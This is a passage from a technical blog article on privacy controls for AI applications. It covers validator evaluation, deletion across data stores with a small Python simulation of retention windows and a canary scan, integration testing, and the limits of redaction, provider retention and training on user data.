A validator is a classifier with false positives and false negatives, and it should be evaluated like one with a versioned case set in the style of the reproducible evaluation article: attack cases that must change, benign cases that must not, and the known misses recorded as expected failures so that a change that fixes one is noticed. In the program’s results all ten attacks were changed, all four benign replies were unchanged, and both known limits passed through. That is a statement about sixteen hand-written cases and not an estimate of a rate. A real set draws benign replies from production samples, because the false-positive rate on ordinary text is the cost side of the control, and a validator that blocks many legitimate replies will be switched off.
Deletion and provider retention
The document pipelines article covers deletion for the index: tombstones, the two-step deletion of search engines, and what deletion does not reach. The access, retention and erasure article covers the platform side: lineage to find copies, deletion propagation across stores, backups and legal holds, and audit evidence. The application adds its own copies, the stores in the inventory table above, plus copies held by the provider.
A deletion request for one customer has to reach the conversation store and memory notes, traces and logs, caches, the step journal and approval snapshots, test and feedback sets, and whatever the provider holds. Each store removes data differently: some can delete by subject immediately, some only expire records on a timer, and the provider’s window is set by its terms. The time until a subject’s data is gone from everything is the slowest of these:
\[ t_{\text{gone}} = \max_{s \in S} t_s, \]
where \(S\) is the set of stores in the inventory and \(t_s\) is the time at which store \(s\) no longer holds the subject’s data. The maximum has two consequences. A single store with a long timer sets the completion time for the whole request, and a store missing from the inventory contributes nothing to the computed time and everything to the real one.
The program below models seven stores for a hypothetical deletion request five days after the data was written. Three delete by subject on request or expire within a day, one has a 14-day lifetime, one is the provider’s 30-day window, and one has a 90-day lifetime. The seventh store, an evaluation set an analyst copied from the logs, is not in the inventory. The program produces a receipt that holds only identifiers and dates, then runs a probe that scans the stores for a unique marker planted in the subject’s text.
"""Deletion across the copies an AI application makes. Python 3.x, stdlib only. Synthetic data, simulated clock (days)."""
from dataclasses import dataclass
from datetime import date, timedelta
@dataclass
class Store:
name: str
mode: str # "now": deleted when the request is processed; "ttl": expires after ttl days; "provider": provider-side window
days: int = 0 # for ttl/provider: days from the *write* (ttl) or from the request (provider window)
registered: bool = True
rows: dict = None # subject_id -> text, written by the simulated application
CANARY = "zq7-canary-ana" # unique marker planted in the probe subject's text
STORES = [
Store("conversation_db", "now"),
Store("trace_store", "ttl", 14),
Store("approval_snapshots", "ttl", 90),
Store("response_cache", "ttl", 1),
Store("agent_memory", "now"),
Store("provider_abuse_log", "provider", 30), # a window set by the provider's terms, not by us
Store("eval_set_v3", "now", registered=False), # copied from logs by an analyst; nobody registered it
]
def populate(day0):
for s in STORES:
s.rows = {"cu_ana": f"{CANARY} asked about ord_8", "cu_ben": "asked about ord_9"}
s.written = day0
def process_request(subject, today):
"""Delete from every registered store. Returns a receipt containing identifiers and dates only."""
receipt = {"subject": subject, "requested": today, "stores": []}
for s in STORES:
if not s.registered:
continue # the inventory does not know this store
if s.mode == "now":
s.rows.pop(subject, None); done = today; note = "deleted"
elif s.mode == "ttl":
done = s.written + timedelta(days=s.days); note = "expires by TTL"
done = max(done, today) if done > today else today # an expired TTL row is already gone
else:
done = today + timedelta(days=s.days); note = "provider retention window"
receipt["stores"].append((s.name, note, done))
receipt["fully_gone"] = max(d for _, _, d in receipt["stores"])
return receipt
def scan(canary, today):
"""Probe: which stores still hold the marker on this day, by looking at the stores themselves?"""
left = []
for s in STORES:
if s.mode == "ttl" and today >= s.written + timedelta(days=s.days):
continue
if s.mode == "provider": continue # cannot be inspected from here; see the receipt
if any(canary in t for t in s.rows.values()):
left.append(s.name)
return left
if __name__ == "__main__":
day0 = date(2025, 4, 1)
populate(day0)
today = day0 + timedelta(days=5)
r = process_request("cu_ana", today)
print("request on", r["requested"])
for name, note, d in r["stores"]:
print(f" {name:20s} {note:28s} gone by {d} (+{(d - today).days} days)")
print("fully gone by", r["fully_gone"], f"(+{(r['fully_gone'] - today).days} days)")
for offset in (0, 10, 40):
print(f"canary scan on day +{offset}:", scan(CANARY, today + timedelta(days=offset)))
request on 2025-04-06
conversation_db deleted gone by 2025-04-06 (+0 days)
trace_store expires by TTL gone by 2025-04-15 (+9 days)
approval_snapshots expires by TTL gone by 2025-06-30 (+85 days)
response_cache expires by TTL gone by 2025-04-06 (+0 days)
agent_memory deleted gone by 2025-04-06 (+0 days)
provider_abuse_log provider retention window gone by 2025-05-06 (+30 days)
fully gone by 2025-06-30 (+85 days)
canary scan on day +0: ['trace_store', 'approval_snapshots', 'eval_set_v3']
canary scan on day +10: ['approval_snapshots', 'eval_set_v3']
canary scan on day +40: ['approval_snapshots', 'eval_set_v3']
The receipt shows the conclusion most clearly. The conversation store, the memory and the one-day cache are clear on the day of the request. The trace store clears nine days later, when its 14-day lifetime ends. The provider window, 30 days in this example, ends on 6 May. And the approval snapshots, kept 90 days for accountability, set the completion date at 85 days after the request. The slowest store is the one kept longest for a good reason, so the fix is not to shorten the accountability requirement but to make the snapshots deletable by subject key, which means indexing every store by a subject identifier or encrypting each subject’s records under a per-subject key whose destruction makes them unreadable; the crypto-erase pattern is covered in the access, retention and erasure article. TTLs remain as the backstop when a delete is missed, and are weak as the primary mechanism.
The probe shows the second consequence of the maximum. On the day of the request it finds the marker in the trace store, the approval snapshots and eval_set_v3. Ten days later the trace store has expired and the other two remain. The evaluation set is never mentioned by the receipt because nobody registered it, and the scan found it by looking at the stores directly. An inventory is only as complete as the process that adds to it, so a rule such as “a new store or a copy of production text must register itself with an owner, a retention rule and a deletion route before it is created” has to be enforced by tooling or review, and periodic probe subjects, as the erasure article describes, check that the process works.
Several limits apply to what the receipt can claim. The provider window cannot be inspected from the application, so the receipt reports it as a date from the provider’s terms and not as a verified fact; where a provider exposes a delete call for stored objects such as files, conversation state or vector stores, calling it is one more destination and its response is evidence. Backups follow the exceptions and restore-time reapplication described in the erasure article. A model trained or fine-tuned on user text does not forget it when the training file is deleted, a limit the document pipelines article states, so a decision to train on logs is a decision about deletion as well. And legal retention duties or holds can require keeping data that a customer asked to delete. Which obligation prevails is decided case by case and varies by jurisdiction and by agreement; the system’s job is to record the request, the decision, and the data held and the reason.
The wording of the customer-facing answer follows from the receipt. “Your data was deleted” is accurate only if every store in the inventory is gone and the exceptions are listed. A statement that names what was removed now, what expires by a stated date and what is held and why is accurate, and it is the statement the receipt can support.
Testing the controls together
Each control above can pass its own test and the system can still leak, because the leak sits between components. A harness that runs the whole application against a fake provider catches these. It plants a synthetic subject whose text contains unique markers, one in the user message, one in a tool result, one in a restricted document, and runs a set of scenarios.
- The fake provider records every request it receives. Assert that markers the redactor should remove are absent from the recorded requests and that restored values appear in the reply to the entitled user.
- Scan the metadata tier and the content tier. Assert that the metadata tier contains no marker and that the content tier contains only redacted text.
- Ask as a second user. Assert that no marker from the first user’s restricted documents appears in the reply, in a cache hit, or in the memory read.
- Feed every output attack from the validator’s case set through the full path, with the model stubbed to emit it, and assert the rendered reply is clean.
- Run a deletion for the subject, advance a simulated clock past the longest lifetime, and scan every store including copies made by tools outside the inventory.
The prompt injection article’s gate rule applies. Properties of code, such as the exact-host check and the cache key, are tested with the model stubbed and gate a release at zero violations. Properties of detectors, such as recall on a class of personal data, are tracked as rates with their sample sizes, because they will not reach one hundred percent and a threshold has to be chosen.
Where these controls stop
- Detection is incomplete. Patterns miss shapes they were not written for, entity models miss names, and a paraphrase carries information without any detectable value. Controls that do not depend on detection, such as storing no content by default, minimizing what is sent and limiting who can read, carry the weight.
- The model can restate anything in its context. Labels and filters constrain what leaves, and the only way to keep text out of a reply is to keep it out of the context. Retrieval permissions and context separation are controls on the input to the model.
- Provider guarantees are contractual and specific. A retention window or a no-training statement applies to a named service, plan and endpoint at a point in time. The application’s assurance is no stronger than the terms it read and the settings it enabled.
- Training on user data is its own risk. Carlini and colleagues showed that querying GPT-2 recovered hundreds of verbatim training sequences, including personal information, and that larger models were more vulnerable. If logs are used to fine-tune a model, the data can reappear in outputs, and deletion of the source does not remove it from the weights.
- The inventory is a process and not a fact. Copies made by hand, such as exports, notebooks and ticket attachments, appear outside tooling. The probe subject and the periodic scan find some of them.
- Controls cost utility. Redaction removes details a model might need, coarse labels hold legitimate messages, and output checks block replies. Measure the cost on benign traffic beside the protection.
- Law and contracts vary. Which data is personal, what notice is required, how long records may be kept and which deletion rights apply differ by jurisdiction and by agreement, and the technical controls here are the means for carrying out the decisions of the people responsible for them.
References
- OWASP Gen AI Security Project, LLM02:2025 Sensitive Information Disclosure
- OWASP Gen AI Security Project, LLM05:2025 Improper Output Handling
- OWASP Cheat Sheet Series, Logging Cheat Sheet
- OpenAI API documentation, Data controls in the OpenAI platform
- Anthropic Privacy Center, How long do you store my organization’s data?
- Simon Willison, Markdown exfiltration (tag archive of reports and write-ups)
- Carlini et al., Extracting Training Data from Large Language Models (arXiv:2012.07805)
Discover more from Insightful Data Lab
Subscribe to get the latest posts sent to your email.
